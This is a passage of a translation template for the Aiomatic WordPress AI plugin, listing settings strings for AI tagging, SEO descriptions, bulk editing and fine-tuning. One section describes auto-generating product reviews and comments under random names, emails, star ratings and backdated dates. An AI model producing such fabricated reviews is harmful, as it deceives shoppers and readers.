linking method you want to use in the edited content. " "You can choose between Aiomatic's built-in method and using the Internal " "Link Juicer plugin (in which case, Aiomatic will create keywords which will " "be able to be used by Internal Link Juicer, for internal linking)." msgstr "" #: res/aiomatic-spinner-list.php:2624 msgid "Internal Linking Method To Use:" msgstr "" #: res/aiomatic-spinner-list.php:2641 msgid "Aiomatic's Built-in Method" msgstr "" #: res/aiomatic-spinner-list.php:2651 msgid "Internal Link Juicer plugin" msgstr "" #: res/aiomatic-spinner-list.php:2660 #, php-format msgid "" "Set an prompt command you want to send to the Internal Link Juicer Keyword " "Extractor. You can use the following shortcodes here: %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to users using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:2664 msgid "Prompt For The Internal Link Juicer Keyword Extractor:" msgstr "" #: res/aiomatic-spinner-list.php:2726 res/aiomatic-spinner-list.php:2997 msgid "Select the AI Model to be used for categories generator." msgstr "" #: res/aiomatic-spinner-list.php:2730 res/aiomatic-spinner-list.php:3001 msgid "AI Model For The Categories Generator:" msgstr "" #: res/aiomatic-spinner-list.php:2773 msgid "" "Set the maximum number of automatic links to add to created posts. You can " "also define custom ranges, like: 3-5. Please note that this feature will " "work best if you already have a considerable number of posts published on " "your site, which will be used for internal linking. The default value for " "this settings field is 3-5" msgstr "" #: res/aiomatic-spinner-list.php:2857 msgid "Post Types Where To Generate Inboud Links:" msgstr "" #: res/aiomatic-spinner-list.php:2864 msgid "Post Automatic Categories Options:" msgstr "" #: res/aiomatic-spinner-list.php:2871 msgid "The plugin will automatically add categories to posts from your site." msgstr "" #: res/aiomatic-spinner-list.php:2875 msgid "Automatically Add Categories To Posts:" msgstr "" #: res/aiomatic-spinner-list.php:2899 msgid "" "Maximum number of categories to add. You can also use value ranges, like: " "3-5. The default value is 1-2" msgstr "" #: res/aiomatic-spinner-list.php:2903 msgid "Maximum Number Of Categories To Add To The Post:" msgstr "" #: res/aiomatic-spinner-list.php:2931 #, php-format msgid "" "Set an prompt command you want to send to the AI category generator. This " "command can be any given task or order, based on which, it will generate " "categories for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:3039 msgid "Post Automatic Tags Options:" msgstr "" #: res/aiomatic-spinner-list.php:3046 msgid "The plugin will automatically add tags to posts from your site." msgstr "" #: res/aiomatic-spinner-list.php:3050 msgid "Automatically Add Tags To Posts:" msgstr "" #: res/aiomatic-spinner-list.php:3074 msgid "" "Maximum number of tags to add. You can also use value ranges, like: 3-5. The " "default value is 1-2" msgstr "" #: res/aiomatic-spinner-list.php:3078 msgid "Maximum Number Of Tags To Add To The Post:" msgstr "" #: res/aiomatic-spinner-list.php:3089 msgid "" "This option will make the plugin not create tags which are not already " "existing on your site. For best results in this case, be sure to add to the " "prompt the list of tags from where the AI should select." msgstr "" #: res/aiomatic-spinner-list.php:3093 msgid "Do Not Add Inexistent Tags:" msgstr "" #: res/aiomatic-spinner-list.php:3106 #, php-format msgid "" "Set an prompt command you want to send to the AI tag generator. This command " "can be any given task or order, based on which, it will generate tags for " "posts. You can use the following shortcodes here: %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to users using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:3110 msgid "Prompt For The AI Tags Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3172 msgid "Select the AI Model to be used for tags generator." msgstr "" #: res/aiomatic-spinner-list.php:3176 msgid "AI Model For The Tags Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3213 msgid "Post Automatic Custom Fields/Custom Taxonomies Options:" msgstr "" #: res/aiomatic-spinner-list.php:3220 msgid "" "The plugin will automatically add custom fields or custom taxonomies to " "posts from your site." msgstr "" #: res/aiomatic-spinner-list.php:3224 msgid "Automatically Add Custom Fields/Custom Taxonomies To Posts:" msgstr "" #: res/aiomatic-spinner-list.php:3247 #, php-format msgid "" "Set a list of custom field slugs and prompts which will generate values for " "them (each on a new line). This command can be any given task or order, " "based on which, it will generate custom taxonomies for posts. You can use " "the following shortcodes here: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). To " "disable this functionality, leave this settings field blank." msgstr "" #: res/aiomatic-spinner-list.php:3251 msgid "Prompt For The AI Custom Fields Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3266 #, php-format msgid "" "Set a list of custom taxonomy slugs and prompts which will generate values " "for them (each on a new line). This command can be any given task or order, " "based on which, it will generate custom taxonomies for posts. You can use " "the following shortcodes here: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). To " "disable this functionality, leave this settings field blank." msgstr "" #: res/aiomatic-spinner-list.php:3270 msgid "Prompt For The AI Custom Taxonomy Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3285 msgid "" "Maximum number of custom taxonomies to add. You can also use value ranges, " "like: 3-5. The default value is 1-2" msgstr "" #: res/aiomatic-spinner-list.php:3289 msgid "Maximum Number Of Custom Taxonomies To Add To The Post:" msgstr "" #: res/aiomatic-spinner-list.php:3300 msgid "" "This option will make the plugin not create custom taxonomies which are not " "already existing on your site. For best results in this case, be sure to add " "to the prompt the list of custom taxonomies from where the AI should select." msgstr "" #: res/aiomatic-spinner-list.php:3304 msgid "Do Not Add Inexistent Custom Taxonomies:" msgstr "" #: res/aiomatic-spinner-list.php:3366 msgid "" "Select the AI Model to be used for custom taxonomies/custom fields generator." msgstr "" #: res/aiomatic-spinner-list.php:3370 msgid "AI Model For The Custom Taxonomies/Custom Fields Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3408 msgid "Automatic Post Comments/Product Reviews Options:" msgstr "" #: res/aiomatic-spinner-list.php:3414 msgid "" "The plugin will automatically add post comments/product reviews from your " "site." msgstr "" #: res/aiomatic-spinner-list.php:3418 msgid "Automatically Add Post Comments/Product Reviews:" msgstr "" #: res/aiomatic-spinner-list.php:3442 msgid "" "Maximum number of comments/reviews to add. You can also use value ranges, " "like: 3-5. The default value is 1-2" msgstr "" #: res/aiomatic-spinner-list.php:3446 msgid "Maximum Number Of Comments/Reviews To Add To The Post:" msgstr "" #: res/aiomatic-spinner-list.php:3457 #, php-format msgid "" "Set an prompt command you want to send to the AI comment/review generator. " "This command can be any given task or order, based on which, it will " "generate comments for posts. You can use the following shortcodes here: " "%%previous_comments%%, %%post_title%%, %%comment_author_name%%, " "%%comment_author_email%%, %%comment_author_url%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, " "%%product_star_rating%%. For the %%product_star_rating%% shortcode, a random " "value will be selected, defined by the 'WooCommerce Product Review Minimum-" "Maximum Star Count' settings field from below. You can also use custom " "fields (post meta) that it's assigned to posts using custom shortcodes in " "this format: %%!custom_field_slug!%%. You can also use custom user meta " "fields (user meta) which is assigned to users using custom shortcodes in " "this format: %%~custom_field_slug~%%. Example: if you wish to add data that " "is imported from the custom field post_data, you should use this shortcode: " "%%!post_data!%%. The length of this command should not be greater than the " "max token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:3461 msgid "Prompt For The AI Comment/Review Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3476 #, php-format msgid "" "Set the range of product reviews which the plugin will create for " "WooCommerce products. If you set this value, you can use the " "%%product_star_rating%% shortcode in the 'Prompt For The AI Comment " "Generator' settings field from above. You can also use value ranges, like: " "3-5. The default is 5" msgstr "" #: res/aiomatic-spinner-list.php:3480 msgid "WooCommerce Product Review Minimum-Maximum Star Count:" msgstr "" #: res/aiomatic-spinner-list.php:3492 #, php-format msgid "" "Maximum number of comments/reviews to add to the %%previous_comments%% " "shortcode, The default value is 5" msgstr "" #: res/aiomatic-spinner-list.php:3496 #, php-format msgid "%%previous_comments%% Shortcode Comment/Reviews Count:" msgstr "" #: res/aiomatic-spinner-list.php:3555 msgid "Select the AI Model to be used for comments/reviews generator." msgstr "" #: res/aiomatic-spinner-list.php:3559 msgid "AI Model For The Comments/Reviews Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3602 msgid "Do you want to keep created comments/reviews for manual approval?" msgstr "" #: res/aiomatic-spinner-list.php:3606 msgid "Keep Created Comments For Review (Don't Auto Approve Them):" msgstr "" #: res/aiomatic-spinner-list.php:3624 #, php-format msgid "" "Input a list of user names that the plugin will use when submitting comments/" "reviews. One per line. If you leave this field empty, a random name will be " "generated. Possible shortcode that can be used here: %%random_user%%, " "%%author_name%%, %%random_sentence%%, %%random_sentence2%%" msgstr "" #: res/aiomatic-spinner-list.php:3628 msgid "Comment/Review User Name List:" msgstr "" #: res/aiomatic-spinner-list.php:3645 #, php-format msgid "" "Input a list of e-mails that the plugin will use when submitting comments/" "reviews. One per line. If you leave this field empty, a random email will be " "generated. Possible shortcode that can be used here: %%random_sentence%%, " "%%random_sentence2%%" msgstr "" #: res/aiomatic-spinner-list.php:3649 msgid "Comment/Review E-mail List:" msgstr "" #: res/aiomatic-spinner-list.php:3666 #, php-format msgid "" "Input a list of URLs that the plugin will use when submitting comments/" "reviews. One per line. Possible shortcode that can be used here: " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%" msgstr "" #: res/aiomatic-spinner-list.php:3670 msgid "Comment/Review URL List:" msgstr "" #: res/aiomatic-spinner-list.php:3686 #, php-format msgid "" "Do you want to set a custom comment/review publish date? You can input 2 " "dates, minimum and maximum date - the plugin will select a random date from " "the specified interval, for each new comment created. Set the range in the " "below field. Set the range in the below field Accepted values for this field " "are listed: here. To disable this feature, " "leave this field blank." msgstr "" #: res/aiomatic-spinner-list.php:3690 msgid "Set a Custom Comment/Review Date Range:" msgstr "" #: res/aiomatic-spinner-list.php:3697 msgid "SEO Meta Description Options:" msgstr "" #: res/aiomatic-spinner-list.php:3703 msgid "" "The plugin will automatically add AI generated SEO meta descriptions to " "posts from your site." msgstr "" #: res/aiomatic-spinner-list.php:3707 msgid "Automatically Add AI Generated SEO Description To Posts:" msgstr "" #: res/aiomatic-spinner-list.php:3730 #, php-format msgid "" "Set an prompt command you want to send to the AI SEO meta description " "generator. This command can be any given task or order, based on which, it " "will generate meta descriptions for posts. You can use the following " "shortcodes here: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). The " "default value is: Write a SEO meta description for the post title: " "%%post_title%%" msgstr "" #: res/aiomatic-spinner-list.php:3734 msgid "Prompt For The AI SEO Meta Description Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3795 msgid "Select the AI Model to be used for AI SEO Meta Description Generator." msgstr "" #: res/aiomatic-spinner-list.php:3799 msgid "AI Model For The AI SEO Meta Description Generator:" msgstr "" #: res/aiomatic-spinner-list.php:3841 msgid "Set if you want to limit the AI generated meta description length." msgstr "" #: res/aiomatic-spinner-list.php:3845 msgid "Limit AI Generated Meta Description Character Count:" msgstr "" #: res/aiomatic-spinner-list.php:3856 msgid "" "Set if you want to copy meta description from post excerpt, instead of " "creating it. Note that this will disable the AI generator of the SEO meta." msgstr "" #: res/aiomatic-spinner-list.php:3860 msgid "Copy Meta Description From Post Excerpt Instead Of Generating It:" msgstr "" #: res/aiomatic-spinner-list.php:3870 msgid "Text to Audio/Video Options:" msgstr "" #: res/aiomatic-spinner-list.php:3878 msgid "" "Select if you want to enable text to speech/video feature of the plugin." msgstr "" #: res/aiomatic-spinner-list.php:3882 msgid "Enable Content Text-to-Speech/Video:" msgstr "" #: res/aiomatic-spinner-list.php:3984 msgid "" "Select a voice you want to use for your video content. You can add voices in " "the following format: voice_provider:voice_name:voice_config - available " "voices lists:" msgstr "" #: res/aiomatic-spinner-list.php:4216 res/aiomatic-spinner-list.php:4247 msgid "Select a voice you want to use for your content." msgstr "" #: res/aiomatic-spinner-list.php:4621 #, php-format msgid "" "Select a textual template you want to send to the AI audio/video converter." "You can use the following shortcodes here: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). If you " "use Royalty Free Images as a source, you can also set their keywords here, " "if no keywords set, they will be automatically generated." msgstr "" #: res/aiomatic-spinner-list.php:4625 msgid "Text To Audio/Video Template:" msgstr "" #: res/aiomatic-spinner-list.php:4643 msgid "AI Generated Audio/Video Location:" msgstr "" #: res/aiomatic-spinner-list.php:4666 #, php-format msgid "" "Select a textual template you want to preppend the audio/video embed. You " "can use the following shortcodes here: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). If you " "use Royalty Free Images as a source, you can also set their keywords here, " "if no keywords set, they will be automatically generated." msgstr "" #: res/aiomatic-spinner-list.php:4670 msgid "HTML Text To Preppend Audio/Video:" msgstr "" #: res/aiomatic-spinner-list.php:4684 msgid "" "Select where you want to copy audio/video files. You can copy the files also " "to a cloud storage, using this extension: " msgstr "" #: res/aiomatic-spinner-list.php:4688 msgid "Copy Audio/Video Files:" msgstr "" #: res/aiomatic-spinner-list.php:4697 msgid "Locally To Server" msgstr "" #: res/aiomatic-spinner-list.php:4745 msgid "Extra Features:" msgstr "" #: res/aiomatic-spinner-list.php:4753 msgid "Select if you want to change post status after editing posts." msgstr "" #: res/aiomatic-spinner-list.php:4757 msgid "Change Post Status After Editing:" msgstr "" #: res/aiomatic-spinner-list.php:4769 msgid "No Change" msgstr "" #: res/aiomatic-spinner-list.php:4809 msgid "Enabled Posts Automatic Editing:" msgstr "" #: res/aiomatic-spinner-list.php:4813 msgid "" "Enable or disable automatic post modifications every time you publish a new " "post (manually or automatically)." msgstr "" #: res/aiomatic-spinner-list.php:4833 msgid "" "INFO: You can change the way the posts are edited by changing settings in " "the 'Editing Templates and Options' tab from above!" msgstr "" #: res/aiomatic-spinner-list.php:4837 msgid "Posts Automatic Editing Options:" msgstr "" #: res/aiomatic-spinner-list.php:4843 msgid "Select when do you want to automatically process posts." msgstr "" #: res/aiomatic-spinner-list.php:4847 msgid "Automatically Process Posts When They Are:" msgstr "" #: res/aiomatic-spinner-list.php:4860 msgid "Drafted" msgstr "" #: res/aiomatic-spinner-list.php:4872 msgid "" "Do you want delay automatic editing of the posted article with this amount " "of seconds from post publish? This will create a single cron job for each " "post (cron is a requirement for this to function). If you leave this field " "blank, posts will be automatically spun on post publish." msgstr "" #: res/aiomatic-spinner-list.php:4876 msgid "Delay Article Editing By (Seconds):" msgstr "" #: res/aiomatic-spinner-list.php:4885 msgid "" "This option will allow you to select if you want to run posting in async " "mode. This means that each time you publish a post, the plugin will try to " "execute it's task in the background - it will no longer block new post " "posting, while it finishes it's job." msgstr "" #: res/aiomatic-spinner-list.php:4889 msgid "Use Async Posting Method:" msgstr "" #: res/aiomatic-spinner-list.php:4898 msgid "Posts Automatic Editing Filtering:" msgstr "" #: res/aiomatic-spinner-list.php:4906 msgid "Do you want to disable automatically editing of WordPress 'posts'?" msgstr "" #: res/aiomatic-spinner-list.php:4910 msgid "Disable Editing of 'Posts':" msgstr "" #: res/aiomatic-spinner-list.php:4922 msgid "Do you want to disable automatically editing of WordPress 'pages'?" msgstr "" #: res/aiomatic-spinner-list.php:4926 msgid "Disable Editing of 'Pages':" msgstr "" #: res/aiomatic-spinner-list.php:4938 msgid "" "Do you want to disable automatically editing of WordPress 'custom post " "types'?" msgstr "" #: res/aiomatic-spinner-list.php:4942 msgid "Disable Editing of 'Custom Post Types':" msgstr "" #: res/aiomatic-spinner-list.php:4954 msgid "" "If you checked the above checkbox to disable processing of custom post " "types, you can define here a comma separated list of posts types which " "should still be process (excepted from skipping)." msgstr "" #: res/aiomatic-spinner-list.php:4958 msgid "Excepting This Comma Separated List Of Custom Post Types:" msgstr "" #: res/aiomatic-spinner-list.php:4967 msgid "Do you want to disable automatically editing of WordPress categories?" msgstr "" #: res/aiomatic-spinner-list.php:4971 msgid "Disable Editing of Selected Categories:" msgstr "" #: res/aiomatic-spinner-list.php:4972 msgid "Show/Hide Categories List" msgstr "" #: res/aiomatic-spinner-list.php:5011 msgid "" "Input the tags for which you want to disable editing. You can enter more " "tags, separated by comma. Ex: cars, vehicles, red, luxury. To disable this " "feature, leave this field blank." msgstr "" #: res/aiomatic-spinner-list.php:5015 msgid "Disable Editing of Selected Tags:" msgstr "" #: res/aiomatic-spinner-list.php:5031 msgid "Existing Content Editor:" msgstr "" #: res/aiomatic-spinner-list.php:5032 msgid "" "Bulk post editing might consume a large number of AI model tokens to " "complete! Be sure you check" msgstr "" #: res/aiomatic-spinner-list.php:5032 msgid "" "before you continue. You can filter which posts you need edited. Doing a " "general site backup is also recommended before doing bulk content editing." msgstr "" #: res/aiomatic-spinner-list.php:5060 msgid "Simulate Post Editing" msgstr "" #: res/aiomatic-spinner-list.php:5077 msgid "" "Select the way you want to schedule automatic editing of existing posts from " "your site, using the below settings." msgstr "" #: res/aiomatic-spinner-list.php:5081 msgid "Automatic Editing Of Existing Posts:" msgstr "" #: res/aiomatic-spinner-list.php:5094 msgid "WordPress Cron Job" msgstr "" #: res/aiomatic-spinner-list.php:5099 msgid "External Cron Job" msgstr "" #: res/aiomatic-spinner-list.php:5109 msgid "" "Choose how often you want to automatically check for old posts. This will " "change the cron scheduling time." msgstr "" #: res/aiomatic-spinner-list.php:5113 msgid "Plugin Autorun Interval:" msgstr "" #: res/aiomatic-spinner-list.php:5153 msgid "Once 30 minutes" msgstr "" #: res/aiomatic-spinner-list.php:5158 msgid "Once 15 minutes" msgstr "" #: res/aiomatic-spinner-list.php:5163 msgid "Once 10 minutes" msgstr "" #: res/aiomatic-spinner-list.php:5174 msgid "" "Select a secret word that will be used when you run the post editing part of " "the plugin manually by URL/by cron. See details about this below." msgstr "" #: res/aiomatic-spinner-list.php:5178 msgid "Secret Word Used For Cron Running (Optional):" msgstr "" #: res/aiomatic-spinner-list.php:5181 msgid "Input a secret word" msgstr "" #: res/aiomatic-spinner-list.php:5188 msgid "" "If you want to schedule the cron event manually in your server, to allow " "recurring editing of existing posts on your site, you should schedule this " "address:" msgstr "" #: res/aiomatic-spinner-list.php:5188 msgid "You must enter a secret word above, to use this feature." msgstr "" #: res/aiomatic-spinner-list.php:5199 msgid "Bulk AI Editing Settings:" msgstr "" #: res/aiomatic-spinner-list.php:5227 msgid "" "Set a delay to wait after each request. This is useful for rate limiting " "purposes. This is optional. To disable this feature, leave it blank." msgstr "" #: res/aiomatic-spinner-list.php:5231 msgid "Delay Between Requests (Milliseconds):" msgstr "" #: res/aiomatic-spinner-list.php:5246 msgid "" "Select if you don't want to process the same post twice using bulk post " "editing." msgstr "" #: res/aiomatic-spinner-list.php:5250 msgid "Don't Process Same Post Twice:" msgstr "" #: res/aiomatic-spinner-list.php:5268 msgid "" "Set the name of the custom field which will be set to posts which were " "already edited. Changing this can be useful if you want to reedit already " "edited posts. The default is: aiomatic_published" msgstr "" #: res/aiomatic-spinner-list.php:5272 msgid "Duplicate Checking Custom Field Name (Optional):" msgstr "" #: res/aiomatic-spinner-list.php:5291 msgid "Which Posts Should Bulk AI Editing Affect:" msgstr "" #: res/aiomatic-spinner-list.php:5540 msgid "(string) - Passes along the query string variable from a search." msgstr "" #: res/aiomatic-training.php:43 msgid "Step 0: Tutorial" msgstr "" #: res/aiomatic-training.php:44 res/aiomatic-training.php:64 msgid "Step 1a: Dataset Uploader" msgstr "" #: res/aiomatic-training.php:45 res/aiomatic-training.php:67 msgid "Step 1b: Dataset Manual Entry" msgstr "" #: res/aiomatic-training.php:46 res/aiomatic-training.php:69 msgid "Step 1c: Dataset Converter" msgstr "" #: res/aiomatic-training.php:47 msgid "Step 2: Datasets" msgstr "" #: res/aiomatic-training.php:48 msgid "Step 3: Model Finetunes" msgstr "" #: res/aiomatic-training.php:52 msgid "What is fine-tuning in GPT-3?" msgstr "" #: res/aiomatic-training.php:53 msgid "" "Fine-tuning in GPT-3 is the process of adjusting a specific AI model and its " "parameters to better suit a specific task. This can be done by providing " "GPT-3 with a data set that is tailored to the task you need. For example, if " "you want to create a chatbot which replies similar to questions similar to " "Rick, from \"Rick and Morty\", this feature is what you need." msgstr "" #: res/aiomatic-training.php:54 msgid "" "When fine-tuning a model, it's important to keep a few things in mind, such " "as the quality of the data set and the parameters of the model that will be " "adjusted. Additionally, it's important to monitor the performance of the " "model during and after fine-tuning." msgstr "" #: res/aiomatic-training.php:55 msgid "" "Lets say you would like to train your AI to answer specific questions about " "your website content, company, product or anything else. You can achieve " "this by fine-tuning a model using your own data! Please note, this process " "requires a lot of effort. Preparing a high quality data is the key here. And " "you need to do a lot of testing to achieve best results!" msgstr "" #: res/aiomatic-training.php:56 msgid "" "If you are looking for a quick way to customize the AI content writer and to " "teach it some info about your company, I suggest you check the" msgstr "" #: res/aiomatic-training.php:56 msgid "feature of the plugin" msgstr "" #: res/aiomatic-training.php:57 msgid "More about fine tuning" msgstr "" #: res/aiomatic-training.php:58 msgid "The main steps of fine-tuning are" msgstr "" #: res/aiomatic-training.php:59 msgid "for usage of fine tuned models" msgstr "" #: res/aiomatic-training.php:60 msgid "Step 1: Create your data for fine-tuning" msgstr "" #: res/aiomatic-training.php:60 msgid "" "create as many high quality questions and answers as possible, containing as " "much useful information you can think of, which can teach the AI about the " "purpose of your finetune. Keep in mind that you might need to create very " "large amounts of data (tens of tousands of questions and answers) for this " "to work as expected." msgstr "" #: res/aiomatic-training.php:61 msgid "" "Here are some options you have, to help create the data for fine-tuning " "(select the one that best fits your needs)" msgstr "" #: res/aiomatic-training.php:64 msgid "" "if you alread have your data ready in the required format (JSONL file), you " "will be able to directly upload it to OpenAI. Be sure to select the base " "model for which you want to create a fine tune, from the 'Model Base' " "dropdown list, because you decide at this step for which model you want to " "create a fine tune with the uploaded data. To upload larger datasets, your " "WordPress maximum file upload size setting should be set to at least the " "file size you want to upload. You can follow" msgstr "" #: res/aiomatic-training.php:64 msgid "this guide" msgstr "" #: res/aiomatic-training.php:64 msgid "" "to achieve this. The uploaded file must contain prompt and completion pairs. " "The \"prompt\" part is the question and the \"completion\" part is the " "answer. You can find an example file" msgstr "" #: res/aiomatic-training.php:64 msgid "To convert files to JSONL format, you can use the" msgstr "" #: res/aiomatic-training.php:64 msgid "CLI Data Preparation Tool" msgstr "" #: res/aiomatic-training.php:64 msgid "from OpenAI." msgstr "" #: res/aiomatic-training.php:67 msgid "" "if not, you can start entering your data into the plugin. To avoid losing " "your work, this data is kept in your browser's local storage. This is " "actually complex, so learn how to write datasets by studying" msgstr "" #: res/aiomatic-training.php:67 msgid "case studies from OpenAI" msgstr "" #: res/aiomatic-training.php:67 msgid "" "Here you can also download your data or directly upload it to OpenAI for " "usage. Useful tip: to gather your data, start by collecting info about your " "website pages, content, and any ideas you have in your mind. Try to create a " "file, or several files, without any HTML formatting or other unnecessary " "elements. If you have access to ChatGPT, use it to generate a large number " "of questions and answers based on your content. Gather the data in a Google " "Sheet with the two columns, and make sure to review and perfect it. A " "dataset should have a minimum of 500 rows to offer useful results, and much " "more if you want to achieve better results. According to the OpenAI " "documentation, above 3,000 rows are recommended. But it ultimately depends " "on what you're trying to achieve. Be sure to select the base model for which " "you want to create a fine tune, from the 'Model Base' dropdown list, because " "you decide at this step for which model you want to create a fine tune with " "the uploaded data. Check OpenAI's recommendations for fine tuning," msgstr "" #: res/aiomatic-training.php:69 msgid "" "this is a tool which is designed to colect information from your pages, " "posts or products and to create datasets from them. This can be useful if " "you want to train a new model to be more knowledgeable of your website's " "content. The tool will set the post/page/product title as the \"question\" " "and the content as the \"answer\". You can download the resulting files and " "upload them using the 'Dataset Uploader' tab." msgstr "" #: res/aiomatic-training.php:72 msgid "Step 2: Start training your model" msgstr "" #: res/aiomatic-training.php:72 msgid "" "after data upload is complete, go to the 'Datasets' tab of this plugin, " "search for the file you uploaded (be sure to sync files) and click 'Create " "Fine-Tune' for it. In the popup which appears, select 'New Model' if you " "want to create a new fine tune, or select any existing finetuned models, to " "create a new finetune based on that existing finetuned model. This process " "will take some time, for a dataset of 500 rows, it typically takes around 20 " "minutes." msgstr 